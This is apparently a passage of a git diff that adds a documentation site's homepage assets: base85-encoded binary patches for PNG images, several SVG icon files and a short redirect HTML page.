zj`sqsT~)<+sMkvw7T~6Hao$Kgsc<*x6`%FD=xw|%VN=Z(Ej2ex{k6Mnp9YZzWEt%h z3$4)_zi6kG?gHy6a(V&1x!kB5HkgZtQ-38B$|*kul!Uq`YX(ZPIu0HJd^iJia!v}Y zxetNJ&pq&d^f&*$=`ucAg%XJpSx*w2MqN2rcdDAFB)IZW8t4S5K6`P^jK==Q*Mt_q4I@AI z((TQ;(zOwv6(~0CA!ZbGn!+w0Jb2LfM*?e%Wg1gvIO zGlxCp1~9?cew*-`^0(l6=1R9qU_&v7*}S_N_aF4M5KGlmYF(1XoKgB`N7Tii;0_)d zI0_;mkS-6*{LI~)idbJgFmRnGc%tE;!y*=5^C_3y!w1PtB4&>aK!wM3kWJ0@bz0Ei zRqRsczS=KwMXU_Qs6kyVEWc@EpS{y?ppUiERi7z|!-V2={z~}lr+K{k)JqL0&LM3@AEkT-#nS)BR zr~hZe+_hmT435Of-&4`gBAGH9vIniIG5)^)2@~dcC&>jb&?-oz6Y@}ybm4bcsHSpR z$%@9%E6cC0jRy3RBFx-<F(39!AQtC+|bG@PzxhTf0IVK8CD8l;jD|jO{1RmO^XJIhU|XpV zxV6vr7m^;N*3vLj>F0D=$MFoQkMEB4OM zfb;u0Z)CWPkMqV@_hUouz5c!oLR)TR9O3ukK}J4O?L$LD zGiDlH{NU0^enN;HEt=^tDKjd_2f71AgMKxBAgL7ZyQW_3V=|~Zs^bR*2JuCH!2=$* zJWqSvLR%%3-LcnjHk(?rmUOmKa1QyOebZogaQ&Eq&077<@MDZ&baqWqZo_5OKSj@e z2L9qw?*6n_7Khv^qAVI%sYwZ@JgsQa8*Gd*aU9@VH;fsMr1W7zPlON}(m<;!$3t!OPe0jZ&>g#kF!M2=-&<6s1TAQHVx2~C4#Y6aW zA4g3?lUBO*$j`kREFS)ALUfNVqBVqA9Q!%M?#MZ&ySI;;|I&8)WzCDuMO=K?-K;M4 zYVTBX=E-3e1Ok(G=f*YJ!we>7V#WF_0-8Bw_5dH#pQB-06#ez3C&P;iJ01jjOBa{a zH{C+>`=0f<-AIo1l-evhx;-2{*IgtA>(R6bs{=a(Yrijd zs`X0Jdnde=LZL;oK>Q&NplVgHMWHNz;>l63^k(V{*n0NmmHM05@m|s?b}DC{1CF|> z8H_@>@Wr<2gQ#6_u6Tt)ck@i6Z$I|YB~4Agr!0UBIU=OZ00&~a@lwlY-nAeZi4%g3 zc}@s~@lKBMZ`?aqo7uj6y*9@6wBnWf0yKW!HIUXM$GVS_JfWZ!Yd%RUej>x!^crK4 zR-w{2<1JL^OowOwd_uT#&&EQ$8>4B%t;}o3c8Q68p!Y+DfSt0I-n-7X{!!0n2$B$f z5Gmj`9q21{ae+lMb=l~(9k8zjqa?SJqix)qOGg6N{oehX@f@_du}a7;>t8Ubf(m}r zbHE~eVmZ8(34!VwWSG|!5`0^40C4)@vI(|MX_N!o)BDlPDPOc#nX5=WiERn15Ewls zzJ8ma39tEqkut8pA31Q$9|^L0il#Eb zJ*gNpNyDyzhG!86)&8{oouP((V`m)|==YT1Y!ur<7fXx|iIz=?#g%#8ITZ#WnfXmc zz87%aag@VsJ|UC2`n^>|RZ?;HZweq%QCi8A@DcYf|EfOFRh7GwhH|QLxO7fi*S>fr z9?P4@`?J;Wl`e52W8%Iu{cwtlZ5E%=0D}>}4_V0PR26nrjyjiaBTwVj_lpfK+COLI z(bzEsT~dzMyKSGIRG8_-&NcJTWuMPWB}9SY0`{3;5ZHIL-G6f)WfWfXvXm#GGh-K>-j;c;5%+3@+UYcI2;){XXdje8Wdn>l_DtOGT9 zGJ%;A@`Cp;D_xfxlI+pSv_2dkl>qvyD0W3HSOhsD=Lb;~`0Rd8(7h+4nomG!^|2Y| zO5|lm>a#^`2W)I~RgTzuE9>Uu`Qf$O8m!S1X9J&S z>Q6j=&Cne1LhYbSEMETZLsfM@*UQL`le~euYXfA&5^@aM6O+9m3!a8p*cdnQ)hwN3jY?pHOuz$cYe+v!2r*THzPD8~3 z6QcELPfNqLZyq)af|6BkyhT^PldZl;WtTU&4bST-~;AiQutu@^ExDxsjJ zR;vFgUbEJ}TWK%Ti;izqF$u=)K{ zLZnR?;U$t+mxI96H4$UY6`4=Ap4!-V!K?0pm;iami`!3f^xn~kRtAe@n=|h2cyar2 z+!=pTCgc8s-vBNQ;GSpEd#H)D+|Sn_v55uZ$?^oV1C+-`7)AQ0rWXA!#kBrc2)!K zE0t{hn2L{&&$paNRnA|8-H>S;c$3jD_=u!Y+?hpX)`e_r-Wl$Y7hN$yRXhgQ&MlTU z*bX{jJz#Ey@WT|$_g<;PMEDXpB=<#Zrn@q<>R(j*P+elldvN9jhSdwfqY8cQqBFUl zUvya(yo`n0Ahd~APDbElfi=6ofE(s9~HU*kd{@{9~8GFD(;93Bl}Yu7E;BQ@+yo%xgy zK$xY{%^6eOrZCtplgUJ)64#^drHGufckO(#)FaF;={Dor)10*lUw@FNFWr3fCVc%w zESUAQqge)SvDHb1avlnB%hT?2wd* z?lOLPMG{@-7EWF7!3M|Jz{n_@>JEnEFN_&m4@9!;*uIB^oCB7D$NHNrVfu+x53*kp zT)T3<#llE+q0LMt_FfLgj8fB6>@=A~TsN9`#^WTJiM8c;BV5A~PB_zGFV`2xa5JzL zu0+*RbW1NNtS|;2bI=E1#GNP#Ix?W$h=G6J?RjK!j zHv4-Q_5_G?(54+OLMddE8bFO0Ql; zsXXi3V05|mV2irj`i_ZfB3h*&Tel^OV01RWO1dPbrD0n}!f>DAmt_w?APqPjlHlS8^C6);`&5q$&;Nk6WBEi&X)2eRNO)~&>2VsZ`?7GYvsKXx1u(0 z7$s!BaVzw?O07{wz-h12Bl%}ja-l=?H?Yb0`c_F0{pkFNV(E_57n5b{%S^Z&)7@x(A(qg&F58e3fZ=@#BMLy`jbhLnY?pM#xxa2QYiVj z_3US03Ko);8gowUY1|wMT1)A^sADF0$hJ3VLmt)18y6-zkT%Ys)9`@QmHOSUC|A60 zFw_ELCUx?-g9y&KOn8s$|niwbMbXzH_MCRZ28hMhSsU`;Ou1sI3mS#GA0$tP4p zS3U#eoJA`EQ&%2x3M+1MT?4@!vSa5dy+Yo4Y=j03SyyIm-}##9dI@WXy|H}PrhUfq z3z>MPKWoQk$Z~B-#kjd%lus)7d=bReN^l?Mr2_AID*hV4%}`n^<@Z0qWSbm3(a6x! zzd)_`m+DaVzV!`hxDhr(O;E&&b8%NX?x3c=nM~}aGKbp%L#0Q@(`dFLeCS?c%%;ii z-%IU>BJ8xNH2(URR4tC){=)bR_$$t*DrzK^XB~T{44w$xl4o)@4-_3kcZsh($5~o0 zdOD(L!}pGSDzpr5st+J| zgbawV=ChOe$ILh3w<>R-kKL45H)Xx|W`9X>egrwaxqL^ewbZL{F)^PYU#Cxg>M765 zxL*$QJ)kq7+%P|9ESJ|ikA0)%9)xov3-~m{zG^t-yec+(jzi_;?lQ0Vf34RdCVlUv zzWbUo8b!x9SVAtLOh%uECf1zo7HB{%&54PwzmY}J&Ng^CF^z=16Q`k>5tSZ!=wVD# z@ABO6%XuVu+Kpp#<3dL?{N^Lyo7f%B=Y9R4+07a~kF_`|cxL?B8W-GQ?^Uz6HWx@i z2A(@t6*{xmbf|q~$OddHZnHFKEOF7p{birzFlL>p3+D@zI^EKqWwJNLk{u$oJ(O`M z%kG^)enwKrkeh3jy&K`8ZerjpO9A$O~W!q1PjsNA*H_L;-JeRZ*DR~Q3HFD*r;I=01Nc4>Y! zu8O|T6a!eLEfZ9ZWjmm1bbg^~^o}mBdZ4>xw8~XalkMRn+2K%gucMOpAJJ&?syHNG zwHV3rq=`(ZNjt|&>M_&G{p;T7uHDJroMH!5QPpjf_#*=j3pB~zt`FwkUc{1qlvLoM>v82Bl-zUR}!<4lF6wSwqUz?;2`d!%zdaMfd5{pXYI* z$_I1|A4azL?fyH4l&6d?c_t?Ax5Sxr;J-d8rLITtNsnQZM*L*JNc8*?4o0vDqo#9= zKn$gHM~O7!C#)m}?n!rNe0e9;IjmQZR-L6n(vXFWL*V=xXOYic6>;1Cm!C$*XN9T6 zQGPS*pQA8laUy=QClW#ilJhn4hdE^pnMUhB-RXUWxKH!zWFwF^Gd(#F9Xae81R;>f z$2<356w=U4@nq=Ym$w=TQ(ZF)q4pXG*;h5=Oe^YhXR|F(%HQ63KMks&VbYWt-QC*f zG{!hON&k{2ZF)20B}a)72BkcFe@XELGSu->$aaC6_rIepnwZ)U_h0_~DU-Z)ZjYOH z)>GI)*^w&$ruS)j%93cBi7AU{w+p3ST-;|fJf-(*s>!VBSPz>{_o{HAL{QUdRdKTG z3RzzchLlQazNmcC%R`20+T;K@v2=L8+T)RMfe>UU-ZKJk8u2gufzYw~F07R`;=T2+ z5(&bJ_Rj_Hh~zvDT4pbQN$4WpjKWPDzirB$-Ox8+;i))eWOq7GQ?A(qPhr<3&CD-p;#x2qqMZ(+rn&2GNMx>BO+GIcKG>V7EvBN7ipP~Ij40IzZGIAJ zZ*Omk78?AAAGMzSF6mp0Xyt~;3RDdCTw*!?OTB;Q)W2Qw@Y4t{FE6j`77qU)!1d}{ zxv(d((gnd8Uq>Ctc5e`IKXL4U)omh^E^NqWHdGdN*-$Q3xx1?iN&uWflen~!9}T&} zDT;+QDXM9ZF+-^mIi|)qp%gKGM>U)qRbi~@;tzjilR)H>Ha!G522ic6~=X7mc zNH@|4Q(*PM$(LHrMDM)2+hhL*B59|dwpa){gZ6@Me}VPN34<ic*66jUlFpL4FtI$PXKtE9@6*r3o+#f_OD1d{`&f+9Y0z; zqnQG~b4}F$d6SEtleoAz-_JKYtj^}x4!i5=%|jM-;@EU3JZ{c;wGgBQ_|EU}Sic#E zWja2q+k~Ca#m^7jX&%!7-Dszp%G>~}U*EfPzv5etLgn_?MHH^O&>_HrrG6TQwfg!| z)Ca|`l-sDO4WYU5DdDNc_)QJ&Ktp6?dI!@~UOuNs8DtL`vT zbeNK{#ZP}DYu@Z_F)VW2e!;LgWh$}NIT-PMu5|9j+WS2?d-<)AkNl6sH_QqybGat& zfHm&4Uu86EPRs3y50bc{Qv0Ruumf4jwXI`!D^0pHt5vaO&5`^x)YJ-Wb5CAwJLwx4 z83nKVd-^_F!yCF-Zifem4{*7E{HDEDBo!+3d7{GErDy5N%X$PWbfaYc!vzIp6oZaS z;+mSHTbmm*mlc&{>QuEdEhn0x+|Wz*+0~DRC-*#g$y^*Mr^|au#*%m0kMdo9XbKg6 z>r``I4$k3s9VcRi;WkM4{w&>qV&Pr|I1YGBHWe$~)koPeG3Banbdr_xFE0Icav3+V zxf1VlW!2WZ7d9 z8g8R>D%NFct9F7I9i!OY-eAiun=QaCBrorheMh7?K~cwv>qt?WLH0r~ApL%d-mvV-l^YyIgU&C&#esZ~yQFIUX+%Vc1*stBqt zb*y8-T{Yt3M-GImH<236(5}oO8~D2m&ygF_;P}1~+h8Q{j;H9n(NknAaS)cY6S4oU zq>#}b#F*8B`xk?BJds#+iUKlkn#>`8Pjpu(*iPA<2W_XrrH3jB4-AX~lg{aZKK`Cq z-C95x)n`)Y#!sKAuC^a@{{B^B^W}=p>wk{470@a#IhLvZ=FtwbwzG3JkHDA}o+6vI zt8;T=1!uqf|9Jvao+IZ}ucSE-H1w||wnhanO-+TGWXh++F0bU9W1KcG_DXqVy|;2> zjVMFgefqe_K29A&*_wPt|0#rm{hhNbdtjj%=vRIv461!IUhd);aC@2Gh z@k+->Y7T~JGQeG~C;?rwHD^}$i7%xp&U+f(2MpfuQev_pp~CxIFZb)WHu7>YG}|VZ z+Dw_9oxfj%<83ZJ9~$Z0uSQt)|lu$ntmb*c3>0iS8SCp)@|w5@|jD=Mjn`(EM&@ zOG_C#m$8oojo9}ausH_FZrv9R-uPf} zX_ZF)q1_h1ua_R@^~P%nawv}m8KCS-m4ovvAS2xK%kR?P4n0q*Th!+(H+eW>xdiJ!c0JyGWN3w`m2>xoRNPy z*cFM1mn$(>{2G=khMIoZr#!%yy8T=M6+vNB$$NRf^h->-(QAhjdy>aS)v?iC2^sJ# zj)EllY(Iz6j{+4?CAKhn9fd@6(nNg2bLLVGT!4U=X*aeL~D^6-~N6;BIPu z(8I@GNAA*2m9ze!&7mmn7%DRy%NR_a)37O<^LnE;_?&ZfgNa=3!F~pBxPf9Z6oD}K zRs0)zYz5uFQJ*JX8b(FB0?lGu%CFi{S~jBIN3JG?KO_Uw?=vHZLxW;9Nk!1%y}D) z8@R5Ya|=aFA*opngpsz)dOXjTuRqu1TqTpXos zi>dlp^Y%PXXb6h6=OgR74ubcUWB0eFv;xbIjr= zJ1xvG`UQjbX9>$2c`uJ3rHs&bD5@ok`dSj#B6qJ(Nk1<;YmmREF$qfAd6{SNeAvp0 zSZ|fs%$)19yrLc(XZ&nVP(_44KNa?a?EeqFd;E?4p zRk%L+AYO}+A#zUCLsWn)yYsE!=4YRfq43oITLHovp_JoeUc^2c#iVbVBue`=zEMYP zwf$ru3q04K;pI8^3277;`_V2!epdGZULuBNvG;g@xn>TRR-@>1j`7oEFn(zQ&UJ6am5KXHCz6%Yw`q}uM8`xuk$i%dzyn4W|Q?7C6uguq( zLt51%j1PYFU9PCk%%Khu*uKvETFWQ%X_ej}4q#&`5ajSMnpJkbNwm4Av(k$}2jm1QoLU!4LP> zXr!uRyiuTZ{eYq+gX8~)b5%y7KSAcdJI`@M?vyC|kM4sHa;`q% zWV?Yi7|r|E{`;L|a$1T}wlp6qy#zO;h|>N%Haj{rd0i zaUsoY&*YXid@sk+-@L?+?ov&YGHS^m+ixtNUrFA=#qd2eg>nG#Ba6R6E-!v25Xnqs zkR{6{4h3EeuOsGE!9iT!mJ`S1Wnwtdi%8oS-9OJ5k}^wVm@klG>fNd^#uPr)l1JU4l;{0i6rxqmH0V24I!l%NvA&>^?Z>hg5zdvseTWo|Ty@_udA(~s ze*e9?)`HhCgofuEJF?GoPpLFv<^1qUlbdM0h~Ebbp*U{K zQeTf!j0Bo2S1tSc`XCind*Qr+ZJEvcd^NLRyeOLr9l{{;X9ZzsR}CZ-H4xbQl9>`mk)!mzg}MBEhFGrfW;tu9>YOSPbV_?ZUCtg59KECGA)Ebi zpPV#5#>|2>pVxLI<*JIv|AgrB?^S;N4+V3E<$S{%Z5!<8I3AiL9LGNRGxXhAhOj#+ zhN5kzFEolRzWYr8V>V{P@-YgNF6JMhEvM~R{eEn9%qj=Zirm~`_pXixfsUulr=c;h(o^P~zSYrk-^Tz$pX_h_O&1IVv z{BpeDOrG^jL+#|g8Q3Au9_4TqUb}_nV3@mnX+h`fpF8fi4DEI#vhYmy!-kFznL}I} z+Q66$58<}FtyNBGY!RG9Guy99_~xdA6*EDYdEdja9PcgaF8x!AcG4I%eN((f^9EJH z*yIK(xIkFEI@4y@2I|2tf#Jl(k#cuT2f5bc|VQ@tydD3|9nEJc|sxu$uk zhm|a=D33{t6@57dD1(xg6IYXy;1hH!l zVw5}?B93QFue~zdXq-z?m+-}3sFj{el#hmn3GpQOU89@Iyy98P{%mwKvR0Zqv_Z7@ z3`Eq`K3+x~tbwy*YA7w3&6~YXHqu^AR*#lSdq!?^`HEXIP)1m{Jr3@az@*bk3Wobr znD=K{=%c3^v5p!d)snYpVuq^Ns>+ej>(_RSE|ll+$u*y&s;Rx>v4PfGcdJabV#Rfw zvwX66t$p1YB61PWDw(#ms=cE>D7>`G*XOgAdS9VXvN?TDcg43^?A- z+~eNs68E^E353e+^0}_~7R~tXzc{E-{1(k?|3sVYAJvhe9nO;CoZq%3+s@&p*`!YqHqoW=~wGYO3L zBV*Jtug|itac#B358gXgi?V;gfP0wE3$b51!hNEm zCbLHirTo0TAX2{YjEYe-Qm9ree>H_G97z?S_*$cG;bY^%t$!>pw7x|vEcI0>v}v6W zZFCXaO!gjRJtTHz)H5)7%&qyh2ii{45pVSV#@*wr(MaarcgY~!b1OyadA_G<%^<7o zNc~NgWr@d*GRJ6dz6~)fD@x2#U$qQ0!)9)0hGsgZ+^=8R7m!||KOX4{@9AC>*w+@m zVEb@b{~}qc@&zg7?-7HNg4XN@bSoFCho!1XS3+1|1w5>m=JLEVmqxms9tz-|d+ zHr(lvq0X`E-qWbDtf6s=-iSOjZ_wU`93E}jS)C&-YIEEpSNiQH^GHt>PRo4a#cc~Vt#Z*@Q+Ka9 zDrZ+({4X0IXOx@6$GMp_t=@=>euBvbmH&Id_QeVUw$lQ($AfJZ*8B>bWUs#76Vl?A z)O=8~tjE0Gqi34;lU8}g+5K>+sU92RTX(AA2>BJc3ECspvkX_HLz2f* zKg<>lMeq8q9mmg{rjn^n+hbA=m#(V2{Pps? z^B4VBq7~XxUSDCf;`Zv>W5Nug%j+LYtaPF$d&yuDvy7k$L%f#tI0$2=;rkvFbME#? zVw2lMO3xQ*fd>zMj4u{eXhb2+V`_Yw@xkF?lHV&1NY#g|*IlGnOU%TWE$3@MZDXM_ zOICJFl35&8Wb|?)O`l`0O@;DhXOd&Hmuzn1xKRh|#LwmBNldFRZdf&_-IaO^Hg~In zvglr}q&=K*s&~;G4hMBTS?;Mo7%lQtpE06K#6z0#qW_GLudStnPqA8jUSLt~=5q~X zLcDb)&{zb&_!XZZbHk;+lm9cD{jEAqq7RpqDW{2gKNRGQF$5jczgqwdg$SyQJZ#-~RYV zpU(@&D`8X(@^|4>mU6Y=>2;!+Wtj` z96V9D{a3I1|M_}!S=3brK%HuEwuVqsQMg~fjd1L9QB*?|L!|{T&;fma=@WU zkwI9Ln87V;i@hbErfSUDs^iZfG|<(h$0@CdHR+EL@tj5))Br%AKn&oN{?YH(e-lj? zT?dT_d1r@DqBL0J%ns7~fjh$LogGKKHmy`s!rqFKc(Es<0oJGWV}X-tg9V2RTTb&Bp(M@o`h3ZFARuejL&K-|!ZV$2j8{vvGx4#7Pw?H$f8U@ zZ$obuR_5s+Kkga<*V6S1-r3t1azSO8pR_5%)>V4^z(*R}hLuJY9s3^9d?n9S@#;+lmN;-h*F=o_|<&sJ~CR=U#EI z4CD+O@k~<@x+)Z09H~Rz*55 zEa&Ur{LXOvyPy?Z1bxa`GGu@TutvYCvjl(*u~&zqdG|M0aHS-od26c+MPH{GD~qF) z-=?OgHPhYcG(oD}&F&1$_Yt&{nEmL37owRA|G|lBi#+P`x-h9<#bB;5{T0m~#L0in zGeC#{@Z-`Hbv6873)W`GLz$ugMFznbHm$-2Ci8Xks$pE!z}st)`E%zEti2UJzwjca zoKC^0DF3MH_pZ`|RZsm2*^hG0a9i@6;@JnJiN7()urUBlK8-A5gvL;+%F1p*yNO6! z;QgeqrZWPdiXbn+>bU1CG(yqtKFBKjcI|S}XjI8dffpZ11IU>I=f5?*-mZ21IGlFW zMc-DU+!?e}B7Qx5#d3b=+QvR%AHYJS5FpfBH4!db>kxa^?x09lb3^SgFsT^x02NU; zbX{XvcGQjR;^ZNWnQrJ_$K{aQ;YhZ^OLv~^Liqpv*eu{&5IFBZ8dq~%@F+%}^c$@W zkPPGcI^x5b+s8BBS-Q0>##vmoox3~o@eUHXk`S4{+YpOIQ}N4JH8HOtjI8Y2N`hKh zB=e^M$CU}_2%nuLuU9c=78(}mL3f$2`t}!MEq0l@y2KP>?^zdi3Mq%cckIqX3N01rjyd?T6Pf&5DBWE@9uICQEw+#@Sd2f9){ zQ+YfPm0zrVc{>g+L=K+!Z|GN_-KrleeV|)zxkq#k?o>he{u=sG0(=296jamIcV*o~ zP=fPvsd{#pO4;o3Sjhz!{3t_h0K@iJs9H}vg74^#f>!Pw6zy1Upz>at8Z+cqV{;VR zLgs3oF-TxNoBSk=Nq;$5<~8#gotNdkNg{&Aiw7c=w67gHfcX0gSp(c-64GhrH(5Qv zr2!&Fi_o?s&PkIa|H}(jnfNXn1RvYZm+_K8?|0Jo*CzfPGKLG~R4K56<-)rRNCp9= z>Qdt+_Eo>H{e`Rib48lHyM+CTge>=C3H&4LsSfx| zhAS3T1J?^7R%HN{1RxujhH|K&SDONDQ;S!6Cg81>Qfke{tgoA*xdHQx(Qkxy0D=WN{#d_0w0qt|%bayR7C zc+*RUzcjSD=ZcmjKoAM0d40Xb#d)rH^+*nh-l-is;Wy8$N#M=^k#h!_c*rlyUn$2R z*va?Yy}xb4Mh$+Pr__GFoU{`nPZ%AJ2tEiw*9w~v_^1=jk-c4AEEIkKMDlZTU4+P~ z5O}?QuI&JVTb=IKWQg_s%`U`)?+Xz8F&Qr&4#!fDiP$>UesAI#obJV%0v-+qo0OKO zOYdcH<|zQg^4w0}@-O=FEy-oAk^v0^{}jFT{j-c@pd3Pvf5-E_q_II(@e3t};LC&0 zn1lHz1d!BY)dZwj-a8-$1suOHLLkwD$@(b9>9n;zq0fbw*@?8>xgL{65c!u!RP1YO zRlg}+JJXkM32-?8K$eV^TuF$qxC?~Mn_z~9%69c01J_Svzqj6T0@(*RlF?vCL_{iK zHtH6ufC^R&!TIW-%XabV0Eloz7G+cLB|!`iY(9L1Wpl<@=cF=@6g)Mq6?Xh>NoA zv;&CtMRSQ^$S_sy$AX)h_x2ruy;urV^eCql%tk}lcOYed2QIF~;47i61rXhv7j|+g z2D2%+BS`=AW<0&a>oU2(q$MmfLBcEXAOQ*qM7_l?FC`VVdTZd}-83e7F&*)3uegmB zTcWOl*#h?^M(^~!4M~OqANHFJ+>QbQqLtB;oUSL&d=%_50Atf1R(nVC+d6~0U+MPB z0tZBY_0hdZzV;VAHWxH&d~qCwMqoB<4l&m)jMg%XhgrdS11~`Ead5;45K(R=FhM+XW}gYZJI(2{n?dp>{u3`-5BtL|ct4VUe#^7=OdL^dWn_BU(PbOp%4AZ*b9 z=v5mq|GBIPyXGCJ*`3Bj*pMI(MnT7?#cAD4T^vxS`BjZ~4ivT8Wrz+^6W;<^_0)xZ1pNQc{7@NQjWs^@0 z+NS5XX&f-P1bZfkR0pRm`TWO^A24~c_L;VQ=AQ9bDiy21;s+iuyWo@Y_@$Q4fy|%5;GGwQA+qyfl2S2Q<5?|&V6)Xq9M{1k%(!>hKtwAM##Mi$ z`=~)rwmukMY~?vg_o3~r!R-xTY#Xm@zz42eI{`sNfY8?3m5GR>drIwvHo99(^2b78 z5$7N`2YcgB>}pz~$42$lxY{<+SY|X<&4-0!025&%oN@w^mCT zxb#{<_s$+-bi(Q#-JyZ_+i|_D@hM&$bRxQ8%fVF4q;Q!)1%yHf-^$n(wg4ns6%eJf zd3K@tTKcniFNJKqHlQWb$Cn^MEsI;L?m3vAgsYt+B(Bsuy1>6>(QnQY;#e@4u=xN% ztOC@1D05A_zXG?(shpQi0RB!mF4i;K_FIRJrCrvkdwvRt#MvYVgAcfQNF0@#PIK9u zIvpUeSWe2I;Dng`PAo9`90KcM40`~=7&u~BtObC#ndYW;TX|A2AbNj9 zu#iW=mx5CMfRZE_SfjG`nQ9O+sma}^4&vT%uyhtW@1-^a6Llo zH^DCcKNMhiCWDIXEqp4dkB7A@4!*fb+t zrHMXH1H>J`PGueEov5S`DjM--LtCb3gsRwJvaY57n6)i+0I%G2g#>Yzn8z6M1hlsj zf_4c=DM4*V6r@NLvoq z*_JFt!b7)eUDi3b$D+5sMoS2;YsGsZT=x^5Q3DWgfnXxzeGVT3MaFcFNnP!RU=b(& zYe~RN2g|F1ZjBuTaG-WrVJ2C_y&G|i z=&UE1kJgBTJ$u`6?u)zng)gIhI5stmHjS2)HA=wg$9F0<$2M|0MC)#%vtSK6s4YN~ zdD}7Wlw9fB|4hBTWYi5RtR{ss-27GuVKQRD_xyusL8n}kegi2(z?79(G%7m8K9G$> z`oM|pi6KEK5{q74(;j`F)Hr3BWwh69z=>g2iN8j=&rI1&khQsZPAA~m!%??&rjf@M zVdy+?LpGBLSJV!F|69a0lmvENsjesaTh22kclMwV^A8A-hgQnn6?9kb0e5wK?XRXk&}#$oywMebbN?6Na8!PD_tW?rz!J&j(vC55FTgdZe)4Gaiv=qa@jZk z{L^n>#+@N@VK+#zhp6WDMQ!hY{(%8}5#;b$qA8aN!aB;uk8=L;2X@J@(5Rdafh)57 zdI;kA-h9_kx%))pYfXK_gGxnq3qaVId9&*ulzKFyoqv24p}4B`*boXdMqMBXZb*6% zp+`&t0^z*$Fl_JHX9!n0VlJx8v_)X4(J-x8=e41D7({vCZ611(A@nW~+Y!#aS-O&7 z6wx**cjQ&99{?ebjsx+gn%Gj=&Bb`qhw)h_GNoM}@3$SKPTGGZ*Pq`0OCTwOV=MV?UJ2n5MVTb`BCb(6qX;@dzOtPRw$*YQParf?dC;hBNGKgcyQRjZ3rUz{W#_uoAIU zx-}32#3XQAaAb$T@UiC^8xyJ+Ii0G7Kr7q0ix8$E!oxwdE)Ytu@WR-eewk~z!M=3- zayI<-i&`7h2;o9v_O%t`OM4{~eg$PdJk&eco0@J!RjNJu%G3{%BTm{5V5z8xEp8+Z zPDux({ZQq5 zVs@Rc5MtSq&6QqGkV4yB9TZY8bA`_(5JDH-iyWbNtJC-@16~4w@qH3vy8wY0+F4@# zEoep{)~bk{6*!oJ#5M>}8YTbxI&qQT3kLt4%>Ph!`tMfxTd@DX=k6{vng455oc3lo z@*GV0tt9kc6YY8E--<{7-75dxDg=X}^|!9gf8FchDE80vc*D^} O+!2+yk$PR-?f(ENv~N`a literal 0 HcmV?d00001 diff --git a/docs/home/icons/brackets.svg b/docs/home/icons/brackets.svg new file mode 100644 index 0000000..606a48d --- /dev/null +++ b/docs/home/icons/brackets.svg @@ -0,0 +1,3 @@ + + + diff --git a/docs/home/icons/conductor.svg b/docs/home/icons/conductor.svg new file mode 100644 index 0000000..1cd90c0 --- /dev/null +++ b/docs/home/icons/conductor.svg @@ -0,0 +1,52 @@ + + + + + + + + + + diff --git a/docs/home/icons/modular.svg b/docs/home/icons/modular.svg new file mode 100644 index 0000000..e8e3934 --- /dev/null +++ b/docs/home/icons/modular.svg @@ -0,0 +1,50 @@ + + + + + + + + diff --git a/docs/home/icons/network.svg b/docs/home/icons/network.svg new file mode 100644 index 0000000..7360cb3 --- /dev/null +++ b/docs/home/icons/network.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/docs/home/icons/osi.svg b/docs/home/icons/osi.svg new file mode 100644 index 0000000..3b14c8b --- /dev/null +++ b/docs/home/icons/osi.svg @@ -0,0 +1,38 @@ + + + + + + + diff --git a/docs/home/icons/server.svg b/docs/home/icons/server.svg new file mode 100644 index 0000000..b480e75 --- /dev/null +++ b/docs/home/icons/server.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/docs/home/icons/shield.svg b/docs/home/icons/shield.svg new file mode 100644 index 0000000..4cb8af5 --- /dev/null +++ b/docs/home/icons/shield.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/docs/home/icons/wrench.svg b/docs/home/icons/wrench.svg new file mode 100644 index 0000000..42d6543 --- /dev/null +++ b/docs/home/icons/wrench.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/docs/home/redirect.html b/docs/home/redirect.html new file mode 100644 index 0000000..819b7fe --- /dev/null +++ b/docs/home/redirect.html @@ -0,0 +1,8 @@ + + + + + +

    Redirecting ...

    + + \ No newline at end of file diff --git a/docs/home/timeline.png b/docs/home/timeline.png new file mode 100644 index 0000000000000000000000000000000000000000..ed092b5a01fe0722dcc4de1805cf5748383d1078 GIT binary patch literal 109193 zcmdSBcRbed|30cMDjFy%QQ4zpgiv=5FN|2FJw3}SKC~tD>78%)<=Y9b@JaZ%4d4+Y3GN%x0+g%+TiZd-S~|<5D)0nS8lw9UIOnCc@(Xl40v9c`}2C zo2Y}2?>&8y^q7n}eK~oih~d1_a#E@CC)bUQV$Xd6ti5DprA#58{qEFLTV8BFc=<%l zRwCii3JCx278kq(*(yP3J!{Rb5$Bs){Q9CilA3 zINitKTtiF7uflEn6gWgzHqHfYaGS){w;h)H!8~2M9^s*Ssb=zm%>DN-+;@6CG1mAT zx)5$u)F`3vFT5|gRbw!%aEsvsCAuBeHXl9*ob>W3rwBI;`^IYSUpf+zru|%>caST+ z)YdVYeJ`JAc-h<1+TLfEt8M&`*-UfEDt_5Kt1bJ#ZjB8j)gS-`Uz61NBpZ-{NjC0}3Kf!r5OKAVn z*`bA}KWa_|9--!|JVw5_NyOv4-C6Q&SE;wDe`Z)Tm{B#nF3|7CQ$b7lb}`V7#irlE z&j0l-;c&}ahPQTqZd?mpI??^~dXMatf$#0P>q59AwmuwmIx!z999*J9 z#^y-IpJ^M__vsMB{m~s;JRWYoeSY`tEzUPLb3NRBhm7a*mc@r;)Grztw)k(^^Xm!! zvF)5C^eLNuKOv=T8Q)Cvp1$$%#b0b^_XL%g+&QYfy`{wB4&&To@l)hFk55k>y?UP7 z?a2>n8pS7e$1eUjoc8G8Ylh!jwq1yj-*tfMBdx?UZ<==$~b>7awQFU~x5fByZ1 zo~r)L>F9S`-ub+feYf)NLe&E<+Jwgf-$nG-Qct%UjGK+4ECP9ISg`%6i>6Z@r~8%WJCm%fRLvWR*TC0Kv4UW+f#Tyo)9+1oSa9Y5~=ru-fA z`_+uHqpYL~+hf_{#hbh;A}l{l#OQq3 zQ=h_ri{8usDreM@=)3jbef@m@_#XFDV^`w{SC~+`5O**xMOjfLE8(!(i0aZgIkTg- zN3FX39e2-8RIR*^j~I=pP~w)iP%cbf*6>amjP(DY8rA%1LGnnV<;NmP=jdgfdD+oO zdj8#XyI)E@`flxgIVk00pi%6gX|-lGLr}kFyQYgKbD~WmrDkM1NBhzC^7fPM#+jGx zVnr-PHizyDwH4tVuCQYf^V5+kzQWkh)HvVbH#*Vqr!n;BnP#t_9kDI3e-`Ywv}n~^EcwyOR&hIBA-ygoHU4zv*|MDO#nhc` z-?~nGjr#sOjJ?@cFGxSHY%c4Nxsla(p#=VX!#%;G? zvK_J+yOulecC}3iOw^v66U#Ze8)aaNMwihULyL4~s z4i%RX-z!cdF6TV&d`e;rH_{H1@4{S;RU 